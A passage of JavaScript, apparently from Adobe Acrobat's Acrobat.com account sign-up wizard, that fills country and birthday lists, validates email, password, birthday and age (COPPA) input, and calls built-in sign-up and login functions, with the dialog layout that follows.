				countries[AnnotsString.IDS_BV] = "BV";

				countries[AnnotsString.IDS_BR] = "BR";

				countries[AnnotsString.IDS_IO] = "IO";

				countries[AnnotsString.IDS_VG] = "VG";

				countries[AnnotsString.IDS_BN] = "BN";

				countries[AnnotsString.IDS_BG] = "BG";

				countries[AnnotsString.IDS_BF] = "BF";

				countries[AnnotsString.IDS_BI] = "BI";

				countries[AnnotsString.IDS_KH] = "KH";

				countries[AnnotsString.IDS_CM] = "CM";

				countries[AnnotsString.IDS_CA] = "CA";

				countries[AnnotsString.IDS_CV] = "CV";

				countries[AnnotsString.IDS_KY] = "KY";

				countries[AnnotsString.IDS_CF] = "CF";

				countries[AnnotsString.IDS_TD] = "TD";

				countries[AnnotsString.IDS_CL] = "CL";

				countries[AnnotsString.IDS_CN] = "CN";

				countries[AnnotsString.IDS_CX] = "CX";

				countries[AnnotsString.IDS_CC] = "CC";

				countries[AnnotsString.IDS_CO] = "CO";

				countries[AnnotsString.IDS_KM] = "KM";

				countries[AnnotsString.IDS_CG] = "CG";

				countries[AnnotsString.IDS_CK] = "CK";

				countries[AnnotsString.IDS_CR] = "CR";

				countries[AnnotsString.IDS_HR] = "HR";

				countries[AnnotsString.IDS_CU] = "CU";

				countries[AnnotsString.IDS_CY] = "CY";

				countries[AnnotsString.IDS_CZ] = "CZ";

				countries[AnnotsString.IDS_CI] = "CI";

				countries[AnnotsString.IDS_DK] = "DK";

				countries[AnnotsString.IDS_DJ] = "DJ";

				countries[AnnotsString.IDS_DM] = "DM";

				countries[AnnotsString.IDS_DO] = "DO";

				countries[AnnotsString.IDS_EC] = "EC";

				countries[AnnotsString.IDS_EG] = "EG";

				countries[AnnotsString.IDS_SV] = "SV";

				countries[AnnotsString.IDS_GQ] = "GQ";

				countries[AnnotsString.IDS_ER] = "ER";

				countries[AnnotsString.IDS_EE] = "EE";

				countries[AnnotsString.IDS_ET] = "ET";

				countries[AnnotsString.IDS_FK] = "FK";

				countries[AnnotsString.IDS_FO] = "FO";

				countries[AnnotsString.IDS_FJ] = "FJ";

				countries[AnnotsString.IDS_FI] = "FI";

				countries[AnnotsString.IDS_FR] = "FR";

				countries[AnnotsString.IDS_GF] = "GF";

				countries[AnnotsString.IDS_PF] = "PF";

				countries[AnnotsString.IDS_TF] = "TF";

				countries[AnnotsString.IDS_GA] = "GA";

				countries[AnnotsString.IDS_GM] = "GM";

				countries[AnnotsString.IDS_GE] = "GE";

				countries[AnnotsString.IDS_DE] = "DE";

				countries[AnnotsString.IDS_GH] = "GH";

				countries[AnnotsString.IDS_GI] = "GI";

				countries[AnnotsString.IDS_GR] = "GR";

				countries[AnnotsString.IDS_GL] = "GL";

				countries[AnnotsString.IDS_GD] = "GD";

				countries[AnnotsString.IDS_GP] = "GP";

				countries[AnnotsString.IDS_GU] = "GU";

				countries[AnnotsString.IDS_GT] = "GT";

				countries[AnnotsString.IDS_GN] = "GN";

				countries[AnnotsString.IDS_GW] = "GW";

				countries[AnnotsString.IDS_GY] = "GY";

				countries[AnnotsString.IDS_HT] = "HT";

				countries[AnnotsString.IDS_HM] = "HM";

				countries[AnnotsString.IDS_HN] = "HN";

				countries[AnnotsString.IDS_HK] = "HK";

				countries[AnnotsString.IDS_HU] = "HU";

				countries[AnnotsString.IDS_IS] = "IS";

				countries[AnnotsString.IDS_IN] = "IN";

				countries[AnnotsString.IDS_ID] = "ID";

				countries[AnnotsString.IDS_IR] = "IR";

				countries[AnnotsString.IDS_IQ] = "IQ";

				countries[AnnotsString.IDS_IE] = "IE";

				countries[AnnotsString.IDS_IL] = "IL";

				countries[AnnotsString.IDS_IT] = "IT";

				countries[AnnotsString.IDS_JM] = "JM";

				countries[AnnotsString.IDS_JP] = "JP";

				countries[AnnotsString.IDS_JO] = "JO";

				countries[AnnotsString.IDS_KZ] = "KZ";

				countries[AnnotsString.IDS_KE] = "KE";

				countries[AnnotsString.IDS_KI] = "KI";

				countries[AnnotsString.IDS_KW] = "KW";

				countries[AnnotsString.IDS_KG] = "KG";

				countries[AnnotsString.IDS_LA] = "LA";

				countries[AnnotsString.IDS_LV] = "LV";

				countries[AnnotsString.IDS_LB] = "LB";

				countries[AnnotsString.IDS_LS] = "LS";

				countries[AnnotsString.IDS_LR] = "LR";

				countries[AnnotsString.IDS_LY] = "LY";

				countries[AnnotsString.IDS_LI] = "LI";

				countries[AnnotsString.IDS_LT] = "LT";

				countries[AnnotsString.IDS_LU] = "LU";

				countries[AnnotsString.IDS_MO] = "MO";

				countries[AnnotsString.IDS_MK] = "MK";

				countries[AnnotsString.IDS_MG] = "MG";

				countries[AnnotsString.IDS_MW] = "MW";

				countries[AnnotsString.IDS_MY] = "MY";

				countries[AnnotsString.IDS_MV] = "MV";

				countries[AnnotsString.IDS_ML] = "ML";

				countries[AnnotsString.IDS_MT] = "MT";

				countries[AnnotsString.IDS_MH] = "MH";

				countries[AnnotsString.IDS_MQ] = "MQ";

				countries[AnnotsString.IDS_MR] = "MR";

				countries[AnnotsString.IDS_MU] = "MU";

				countries[AnnotsString.IDS_YT] = "YT";

				countries[AnnotsString.IDS_MX] = "MX";

				countries[AnnotsString.IDS_FM] = "FM";

				countries[AnnotsString.IDS_MD] = "MD";

				countries[AnnotsString.IDS_MC] = "MC";

				countries[AnnotsString.IDS_MN] = "MN";

				countries[AnnotsString.IDS_MS] = "MS";

				countries[AnnotsString.IDS_MA] = "MA";

				countries[AnnotsString.IDS_MZ] = "MZ";

				countries[AnnotsString.IDS_MM] = "MM";

				countries[AnnotsString.IDS_NA] = "NA";

				countries[AnnotsString.IDS_NR] = "NR";

				countries[AnnotsString.IDS_NP] = "NP";

				countries[AnnotsString.IDS_NL] = "NL";

				countries[AnnotsString.IDS_AN] = "AN";

				countries[AnnotsString.IDS_NC] = "NC";

				countries[AnnotsString.IDS_NZ] = "NZ";

				countries[AnnotsString.IDS_NI] = "NI";

				countries[AnnotsString.IDS_NE] = "NE";

				countries[AnnotsString.IDS_NG] = "NG";

				countries[AnnotsString.IDS_NU] = "NU";

				countries[AnnotsString.IDS_NF] = "NF";

				countries[AnnotsString.IDS_KP] = "KP";

				countries[AnnotsString.IDS_MP] = "MP";

				countries[AnnotsString.IDS_NW] = "NO"; //Note here

				countries[AnnotsString.IDS_OM] = "OM";

				countries[AnnotsString.IDS_PK] = "PK";

				countries[AnnotsString.IDS_PW] = "PW";

				countries[AnnotsString.IDS_PA] = "PA";

				countries[AnnotsString.IDS_PG] = "PG";

				countries[AnnotsString.IDS_PY] = "PY";

				countries[AnnotsString.IDS_PE] = "PE";

				countries[AnnotsString.IDS_PH] = "PH";

				countries[AnnotsString.IDS_PN] = "PN";

				countries[AnnotsString.IDS_PL] = "PL";

				countries[AnnotsString.IDS_PT] = "PT";

				countries[AnnotsString.IDS_PR] = "PR";

				countries[AnnotsString.IDS_QA] = "QA";

				countries[AnnotsString.IDS_RE] = "RE";

				countries[AnnotsString.IDS_RO] = "RO";

				countries[AnnotsString.IDS_RU] = "RU";

				countries[AnnotsString.IDS_RW] = "RW";

				countries[AnnotsString.IDS_SH] = "SH";

				countries[AnnotsString.IDS_KN] = "KN";

				countries[AnnotsString.IDS_LC] = "LC";

				countries[AnnotsString.IDS_PM] = "PM";

				countries[AnnotsString.IDS_VC] = "VC";

				countries[AnnotsString.IDS_WS] = "WS";

				countries[AnnotsString.IDS_SM] = "SM";

				countries[AnnotsString.IDS_ST] = "ST";

				countries[AnnotsString.IDS_SA] = "SA";

				countries[AnnotsString.IDS_SN] = "SN";

				countries[AnnotsString.IDS_SC] = "SC";

				countries[AnnotsString.IDS_SL] = "SL";

				countries[AnnotsString.IDS_SG] = "SG";

				countries[AnnotsString.IDS_SK] = "SK";

				countries[AnnotsString.IDS_SI] = "SI";

				countries[AnnotsString.IDS_SB] = "SB";

				countries[AnnotsString.IDS_SO] = "SO";

				countries[AnnotsString.IDS_ZA] = "ZA";

				countries[AnnotsString.IDS_GS] = "GS";

				countries[AnnotsString.IDS_KR] = "KR";

				countries[AnnotsString.IDS_ES] = "ES";

				countries[AnnotsString.IDS_LK] = "LK";

				countries[AnnotsString.IDS_SD] = "SD";

				countries[AnnotsString.IDS_SR] = "SR";

				countries[AnnotsString.IDS_SJ] = "SJ";

				countries[AnnotsString.IDS_SZ] = "SZ";

				countries[AnnotsString.IDS_SE] = "SE";

				countries[AnnotsString.IDS_CH] = "CH";

				countries[AnnotsString.IDS_SY] = "SY";

				countries[AnnotsString.IDS_TW] = "TW";

				countries[AnnotsString.IDS_TJ] = "TJ";

				countries[AnnotsString.IDS_TZ] = "TZ";

				countries[AnnotsString.IDS_TH] = "TH";

				countries[AnnotsString.IDS_CD] = "CD";

				countries[AnnotsString.IDS_TL] = "TL";

				countries[AnnotsString.IDS_TG] = "TG";

				countries[AnnotsString.IDS_TK] = "TK";

				countries[AnnotsString.IDS_TO] = "TO";

				countries[AnnotsString.IDS_TT] = "TT";

				countries[AnnotsString.IDS_TN] = "TN";

				countries[AnnotsString.IDS_TR] = "TR";

				countries[AnnotsString.IDS_TM] = "TM";

				countries[AnnotsString.IDS_TC] = "TC";

				countries[AnnotsString.IDS_TV] = "TV";

				countries[AnnotsString.IDS_VI] = "VI";

				countries[AnnotsString.IDS_UG] = "UG";

				countries[AnnotsString.IDS_UA] = "UA";

				countries[AnnotsString.IDS_AE] = "AE";

				countries[AnnotsString.IDS_GB] = "GB";

				countries[AnnotsString.IDS_US] = "US";

				countries[AnnotsString.IDS_UM] = "UM";

				countries[AnnotsString.IDS_UY] = "UY";

				countries[AnnotsString.IDS_UZ] = "UZ";

				countries[AnnotsString.IDS_VU] = "VU";

				countries[AnnotsString.IDS_VA] = "VA";

				countries[AnnotsString.IDS_VE] = "VE";

				countries[AnnotsString.IDS_VN] = "VN";

				countries[AnnotsString.IDS_WF] = "WF";

				countries[AnnotsString.IDS_EH] = "EH";

				countries[AnnotsString.IDS_YE] = "YE";

				countries[AnnotsString.IDS_ZM] = "ZM";

				countries[AnnotsString.IDS_ZW] = "ZW";



				var toEnable = 				

    			{

    				"next": false

    			};

			

    			var toLoad = 

    			{

    				//"cnty": countries,

    				"rmbm": true,

    				"bddy": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_DAY,

    				"bdyr": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_YEAR,

    			};

    			

    			this.data.weEnabledPoly = false;

    			

				//0. First remove any entry if present

				//1. Add the Select One entry  

				//2. Then add all the countries one by one 

    			

    			//0. First remove any entry if present 

				dialog.removeAllEntriesFromList("cnty");

				

				//1. Add the Select One entry

				var sel_one = {}

				sel_one[AnnotsString.IDS_COUNTRY_SELECT_ONE] = 1;

				dialog.insertEntryInList({"cnty": sel_one });

				 

				//2. Then add all the countries one by one

				dialog.insertEntryInList({"cnty": countries }); //Note: dikumar: Apart from adding a single entry in a list this can also be used to add more than one entries. However these entries would be appended to the existing entries. Also these new entries would be added in aphabetical order. 



                // Populate the Birthday month popup list

    			//0. First remove any entry if present 

				dialog.removeAllEntriesFromList("bdmt");

				

				//1. Add the First entry - Month 

				var mon_one = {}

				mon_one[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_MONTH] = 12;

                dialog.insertEntryInList({"bdmt": mon_one });

 				

 				//2. Then add all the months one by one

				for (var mon in months) {

				    var entry = {};

				    entry[mon] = mon;

    				dialog.insertEntryInList({"bdmt": entry });

    			}

			 

    			var toShow = 

    			{

    				"eror": false,

    				"help": false,

    				"prev": (this.data.reviewType != "DocCenterSignup")

    			}

    			

    			dialog.focus("mail");

				dialog.enable(toEnable);

				dialog.load(toLoad);

				dialog.visible(toShow);

				this.cnty(dialog);

			},

			

			poly: function(dialog)

			{

				var poly = dialog.store()["poly"];

				if ((poly) && (this.data.weEnabledPoly))

					this.data.weEnabledPoly = false					

			},

			

			cnty: function(dialog)

			{

				var toLoad = {}

				var selectedCountry = this.getSelectedItemText("cnty");

				this.data.cnty = countries[selectedCountry];

				

				var poly = dialog.store()["poly"];

				

				//this.data.weEnabledPoly 

				if (selectedCountry == AnnotsString.IDS_US)

				{

					if (poly)

						;//do nothing

					else

					{

						toLoad.poly = true

						this.data.weEnabledPoly = true

					}

				}

				else

				{

					if (this.data.weEnabledPoly)

					{

						toLoad.poly = false;

						this.data.weEnabledPoly = false; 

					}

					else

						;//do nothing

				}

				

				dialog.load(toLoad);			

			},



			idle: function(dialog)

			{

				var o = dialog.store();

				this.data.mail = o["mail"];

				this.data.pwd1 = o["pwd1"];

				this.data.pwd2 = o["pwd2"];



				var fNam = o["fNam"];

				fNam = fNam.replace(new RegExp(/^\s+/),""); // START

				fNam = fNam.replace(new RegExp(/\s+$/),""); // END

				this.data.fNam = fNam;

				

				var lNam = o["lNam"];

				lNam = lNam.replace(new RegExp(/^\s+/),""); // START

				lNam = lNam.replace(new RegExp(/\s+$/),""); // END

				this.data.lNam = lNam;



				this.data.cnty = countries[this.getSelectedItemText("cnty")];

				this.data.rmbm = o["rmbm"];

				this.data.agre = o["agre"];

				this.data.poly = o["poly"];



				this.data.bdmt = months[this.getSelectedItemText("bdmt")];

				this.data.bddy = o["bddy"];

				this.data.bdyr = o["bdyr"];

				

				var toEnable = {};

				if ((this.data.mail != undefined) && (this.data.mail != "") && (this.data.mail != null) &&  

					(this.data.pwd1 != undefined) && (this.data.pwd1 != "") && (this.data.pwd1 != null) &&

					(this.data.pwd2 != undefined) && (this.data.pwd2 != "") && (this.data.pwd2 != null) &&

					(this.data.fNam != undefined) && (this.data.fNam != "") && (this.data.fNam != null) &&

					(this.data.lNam != undefined) && (this.data.lNam != "") && (this.data.lNam != null) &&

					(this.data.cnty != undefined) && (this.data.cnty != "") && (this.data.cnty != null) &&

					(this.data.bdmt != undefined) && (this.data.bdmt != null) && (this.data.bdmt != months[AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_MONTH]) &&

					(this.data.bddy != undefined) && (this.data.bddy != "") && (this.data.bddy != null) && (this.data.bddy != AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_DAY) &&

					(this.data.bdyr != undefined) && (this.data.bdyr != "") && (this.data.bdyr != null) && (this.data.bdyr != AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_YEAR) &&

					//(this.data.pwd1.length>5) && (this.data.pwd1.length<13) && (this.data.pwd1 == this.data.pwd2) &&

					//(eMailValidate(this.data.mail)==true) && 

					(this.data.agre==true))

				{

					toEnable.next = true;

				}

				else

				{

					toEnable.next = false;

				}

					

				dialog.enable(toEnable);

			},



			getSelectedItemText: function(id)

			{

				var o = this.dialog.store()[id];



				for(var i in o)

				{

					if(o[i] > 0)

						return i;

				}

				return "";

			},

			

			commit: function(dialog, next)

			{

				if (next)

				{

					//disable next

					dialog.enable({"next": false});

					

					// hide any errors

					dialog.visible({eror: false});

					

					var o = dialog.store();

					this.data.mail = o["mail"];

					this.data.pwd1 = o["pwd1"];

					this.data.pwd2 = o["pwd2"];

	

					var fNam = o["fNam"];

					fNam = fNam.replace(new RegExp(/^\s+/),""); // START

					fNam = fNam.replace(new RegExp(/\s+$/),""); // END

					this.data.fNam = fNam;

					

					var lNam = o["lNam"];

					lNam = lNam.replace(new RegExp(/^\s+/),""); // START

					lNam = lNam.replace(new RegExp(/\s+$/),""); // END

					this.data.lNam = lNam;

					

					this.data.cnty = countries[this.getSelectedItemText("cnty")];

					this.data.rmbm = o["rmbm"];

					this.data.agre = o["agre"];

					this.data.poly = o["poly"];

					

				    this.data.bdmt = months[this.getSelectedItemText("bdmt")];

				    this.data.bddy = o["bddy"];

				    this.data.bdyr = o["bdyr"];



					

					if (o["rmbm"])

						this.data.rememberPassword = true;

					else

						this.data.rememberPassword = false;



					//Error checking

					//Not a valid email address

					if (eMailValidate(this.data.mail) == false) 

					{

						dialog.enable({"next": true});

						dialog.setForeColorRed("eror");

						dialog.load({"eror": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ERROR_EMAIL_NOT_VALID});

						dialog.visible({eror: true});

						DebugThrow ("Invalid data");

					}

					//Password is outside the range of 6-12 characters

					if ((this.data.pwd1.length<6) || (this.data.pwd1.length>12))

					{

						dialog.enable({"next": true});

						dialog.setForeColorRed("eror");

						dialog.load({"eror": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ERROR_PASSWORD_LENGTH});

						dialog.visible({eror: true});

						DebugThrow ("Invalid data");

					}

					//Password and confirm password are not the same.

					else if (this.data.pwd1 != this.data.pwd2)

					{

						dialog.enable({"next": true});

						dialog.setForeColorRed("eror");

						dialog.load({"eror": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_PASSWORDS_DONT_MATCH});

						dialog.visible({eror: true});

						DebugThrow ("Invalid data");

					}

					//Confirm Password is outside the range of 6-12 characters

					else if ((this.data.pwd2.length<6) || (this.data.pwd2.length>12))

					{

						dialog.enable({"next": true});

						dialog.setForeColorRed("eror");

						dialog.load({"eror": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ERROR_PASSWORD_LENGTH});

						dialog.visible({eror: true});

						DebugThrow ("Invalid data");

					}

					// BirthDay Date is invalid

					else if (validateBirthDay(this.data.bdmt, this.data.bddy, this.data.bdyr) ==  false)

					{

						dialog.enable({"next": true});

						dialog.setForeColorRed("eror");

						dialog.load({"eror": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ERROR_BIRTDAY_NOT_VALID});

						dialog.visible({eror: true});

						DebugThrow ("Invalid data");

					}

					// Ensure COPPA Requirements, if Age < 13 Years, display the elibility requirements error dialog, 

					// Disable Acrobat.com Signup for 24 Hours and cancel the signup dialog

					else if (validateAgeRequirements(this.data.bdmt, this.data.bddy, this.data.bdyr) ==  false) {

						var desc = IWSharedReviewDocCenterEligibilityErrorDialog();

				        app.beginPriv();

				        Collab.disableDocCentreSignup();

				        var result = app.execDialog(desc);

				        app.endPriv();

				        dialog.cancel();

				        DebugThrow ("Invalid data");

					}



					var signupResult;

	

					try 

					{

						this.data.user = this.data.mail;

						this.data.pswd = this.data.pwd1;

						

					    // this may take a while so indicate we are about to issue the account creation request

					    dialog.setForeColorRed("eror");

					    dialog.load({"eror": ""});

						dialog.visible({eror: true});

						dialog.load({"eror": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_CREATING});

						

						app.beginPriv();

						signupResult = Collab.dcSignup(this.data.mail,

															this.data.pswd,

															this.data.fNam,

															this.data.lNam,

															this.data.cnty,

															this.data.poly,

															false);

						app.endPriv();

					}

					catch(err) 

					{

						dialog.enable({"next": true});

						dialog.setForeColorRed("eror");

						dialog.load({"eror": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ERROR_GENERIC});

						dialog.visible({eror: true});

						DebugThrow ("Error in dcSignup");

					}



					if (signupResult == 200) //no error

					{

						try

						{

						    var driver = getDriver(this.data.reviewType);

							app.beginPriv();

							swConn = Collab.swConnect({cUsername: this.data.mail, cPassword: this.data.pwd1, bSaveCred: this.data.rmbm, bValidateEmail: true, cDriver:driver});

							app.endPriv();

		

							if (swConn)

							{

								this.data.swConn = swConn;

								app.beginPriv();

								shareIdentity.Email = this.data.mail;

								shareIdentity.FullName = swConn.getFullName();

								shareIdentity.Authenticated = true;

								app.endPriv();

								if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

								{

						            var addStringToPayloadParams = {};  

						            addStringToPayloadParams.name = "SignUp_Successful";

						            addStringToPayloadParams.val = "True";

        		

						            app.beginPriv();

						            Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

						            app.endPriv();

						            addStringToPayloadParams.name = "Authentication_Successful";

						            addStringToPayloadParams.val = "True";

						            app.beginPriv();

						            Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

						            app.endPriv();

						        }

								DebugPrintln("Adobe Id account created and successfully connected to Acrobat.com");

							}

							else

							{   

							    if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

							    {

							        var addStringToPayloadParams = {};  

						            addStringToPayloadParams.name = "SignUp_Successful";

						            addStringToPayloadParams.val = "False";

        		

						            app.beginPriv();

						            Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

						            app.endPriv();

						        }

								DebugThrow("Login was unsuccessful, try again");

							}

							dialog.enable({"next": true});

						}

						catch(e)

						{

						    if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

							{

					            var addStringToPayloadParams = {};  

					            addStringToPayloadParams.name = "SignUp_Successful";

					            addStringToPayloadParams.val = "False";

    		

					            app.beginPriv();

					            Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

					            app.endPriv();

					        }

							ANDumpObj(e);

							dialog.enable({"next": true});

							dialog.setForeColorRed("stat");

							if (e.errorCode == 403 || e.errorCode == 401)

							{

								dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD});

								dialog.visible({stat: true});

								DebugThrow("Login was unsuccessful, try again");

							}

							else if (e.errorCode == 402)     // terms of usage not accepted

							{

								var desc = IWSharedReviewDocCenterServicesDialog();

								app.beginPriv();

								var result = app.execDialog(desc);

								app.endPriv();

	

								if (result == "ok")

								{

									//user accepted the agreement, but you don't have the swConn object right now 

									app.beginPriv();

									var acceptResult = Collab.swAcceptTOU(this.data.user, this.data.pswd);

									app.endPriv();

									

									if (acceptResult == 0)

									{

										try

										{

										    var driver = getDriver(this.data.reviewType);

											app.beginPriv();

											var swConn = Collab.swConnect({cUsername: this.data.user, cPassword: this.data.pswd, bSaveCred: this.data.rememberPassword, cDriver:driver});

											app.endPriv();

					

											if (swConn)

											{

												this.data.swConn = swConn;

												

												app.beginPriv();

												if (Collab.isFirstLaunch(this.data.WT))

												{

													Collab.unsetFirstLaunch(this.data.WT);

												}

												shareIdentity.Email = this.data.user;

												shareIdentity.FullName = swConn.getFullName();

												shareIdentity.Authenticated = true;

												app.endPriv();

												if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

												{

												    var addStringToPayloadParams = {};  

						                            addStringToPayloadParams.name = "Authentication_Successful";

						                            addStringToPayloadParams.val = "True";                        		

						                            app.beginPriv();

						                            Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

						                            app.endPriv();

						                        }

											    DebugPrintln("Successfully connected to Acrobat.com");

											    DebugAlert("IWSharedReviewDocCenterLogin: Login successful");

											}

										}

										catch(e)

										{

										    if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

											{

											    var addStringToPayloadParams = {};  

					                            addStringToPayloadParams.name = "Authentication_Successful";

					                            addStringToPayloadParams.val = "False";                        		

					                            app.beginPriv();

					                            Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

					                            app.endPriv();

					                        }

											dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD});

											dialog.visible({stat: true});

											//there was a throw from the C++ side.

											DebugThrow("Login was unsuccessful, try again");

										} 

									}

									else

									{

										dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD});

										dialog.visible({stat: true});

										DebugThrow("Login was successful, but attempt to accept services agreement failed");

									}

								}

								else

								{

									dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD});

									dialog.visible({stat: true});

									DebugThrow("Login was successful, but user did not accept services agreement");

								}

							}

							else if (e.errorCode == 405)     // account not verified (grace period expired)

							{

								//This is the case when login is valid but error is that the user needs 

								// confirm the adobe id request. So enable resd and update the status	

								dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_REQUEST_EXPIRED});

								dialog.visible({"resd" : true});

								dialog.visible({stat: true});

								DebugThrow("Login was successful, but need to verify email address");

							}

							else if (e.errorCode == 0 || e.errorCode >= 400)    // interpret all other errors as a server connection problem

							{

								dialog.load({"stat": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_STATUS_CANNOT_CONNECT});

								dialog.visible({stat: true});

								DebugThrow("Login was unsuccessful, try again");

							}

							else

							{

								DebugThrow("Login was unsuccessful, try again");

							}

						}

					}

					else

					{

					    if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

					    {

					        var addStringToPayloadParams = {};  

				            addStringToPayloadParams.name = "SignUp_Successful";

				            addStringToPayloadParams.val = "False";

		

				            app.beginPriv();

				            Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

				            app.endPriv();

				        }

						dialog.enable({"next": true});

						if(signupResult == 409)

						{

							dialog.setForeColorRed("eror");

							dialog.load({"eror": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ERROR_DUP_EMAIL});

						}

						else 

						{

							dialog.setForeColorRed("eror");

							dialog.load({"eror": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ERROR_GENERIC});						

						}

						dialog.visible({eror: true});

						DebugThrow("Response has error");

					}

				}

			},

			

			"agul": function(dialog)

			{

				var url = (app.viewerType == "Reader") ? AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_AGREEMENT_READER : AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_AGREEMENT_ACROBAT;

				app.launchURL(url, true);

			},



			"agpl": function(dialog)

			{

				var url = (app.viewerType == "Reader") ? AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_PRIVACY_POLICY_READER : AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_PRIVACY_POLICY_ACROBAT;

				app.launchURL(url, true);

			},

			

			"poul": function(dialog)

			{

				var url = (app.viewerType == "Reader") ? AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_PRIVACY_POLICY_READER : AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_PRIVACY_POLICY_ACROBAT;

				app.launchURL(url, true);

			},

			

			description:

			[

				{

					type: "view",

					width: Collab.wizardWidth,

					height: Collab.wizardHeight,

					//margin_height: Collab.marginHeight,

					//margin_width: Collab.wizardMarginWidth, 

					alignment: "align_fill",

					align_children: "align_left",

					elements:

					[

						{

							type:"view",

							align_children: "align_top",

							alignment: "align_fill",

							//margin_height: Collab.marginHeight, 

							margin_width: Collab.wizardMarginWidth,

							elements:

							[

								{

									type:"view",

									align_children:"align_left",

									elements:

									[

										{

											type:"gap",

											height: 1,

										},

										{

											type:"static_text",

											name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_CREATEID_TITLE,

											bold:true,

											font: "heading",

											height: 20,

										},

										{

											type:"gap",

											height: 1,

										},

									]

								}

							]

						},

						{

							type:"view",

							align_children: "align_top",

							alignment: "align_fill",

							//margin_height: Collab.marginHeight, 

							margin_width: Collab.wizardMarginWidth,

							elements:

							[

								{

									type:"view",

									align_children:"align_left",

									elements:

									[



										{

											type:"static_text",

											name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_ADDRESS,

											bold:true,

											font: "dialog"

										},

										{

											type:"edit_text",

											item_id:"mail",

											width: 230

										},

										{

											type:"static_text",

											name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_PASSWORD_HINT,

											bold:true,

											font: "dialog"

										},

										{

											type:"edit_text",

											item_id:"pwd1",

											width: 230,

											password:true

										},

										{

											type:"static_text",

											name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_PASSWORD_CONFIRM,

											bold:true,

											font: "dialog"

										},

										{

											type:"edit_text",

											item_id:"pwd2",

											width: 230,

											password:true

										},

										{

											type:"view",

											align_children:"align_left",

											elements: nameFields,

										},	

										{

											type:"static_text",

											name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_BIRTHDAY,

											bold:true,

											font: "dialog"

										},

										{

											type:"view",

											align_children:"align_row",

											elements:

											[

										        {

											        type:"popup",

											        item_id:"bdmt",

											        width: 60

										        },

										        {

											        type:"edit_text",

											        item_id:"bddy",

											        width: 60

										        },

										        {

											        type:"edit_text",

											        item_id:"bdyr",

											        width: 60

										        },

											]

										},

																				{

											type:"view",

											align_children:"align_left",

											//alignment:"align_bottom",

											elements:

											[

												{

													type:"static_text",

													name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_COUNTRY,

													bold:true,

													font: "dialog"

												},

												{

													type: "popup",

													item_id: "cnty",

													width: 210,

													PopupEdit: false

												},

											]

										}

									]

								},

								{

									type: "gap",

									width: 18,

								},

								{

									type:"view",

									align_children:"align_left",

									elements:

									[

										{

											type:"view",

											align_children:"align_top",

											elements:

											[												

												{

													type:"check_box",

													item_id:"agre",

												},

												{

													type:"view",

													align_children:"align_left",

													elements:

													[

														{

															type:"static_text",

															width: 220,

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_READ_AGREE,

															wrap_name:true,

														},

														{

															type:"link_text",

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_READ_AGREE_LINK,

															item_id:"agul"

														},

														{

															type:"link_text",

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_PRIVACY_POLICY_LINK,

															item_id:"agpl"

														},

													]

												},

											]

										},

										{

											type: "gap",

											height: 10,

										},

										{

											type:"view",

											align_children:"align_top",

											elements:

											[

												{

													type:"check_box",

													item_id:"poly",

												},

												{

													type:"view",

													align_children:"align_left",

													elements:

													[

														{

															type:"static_text",

															width: 220,

															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_PROMO,

															wrap_name:true,

														},

														{

															type:"link_text",

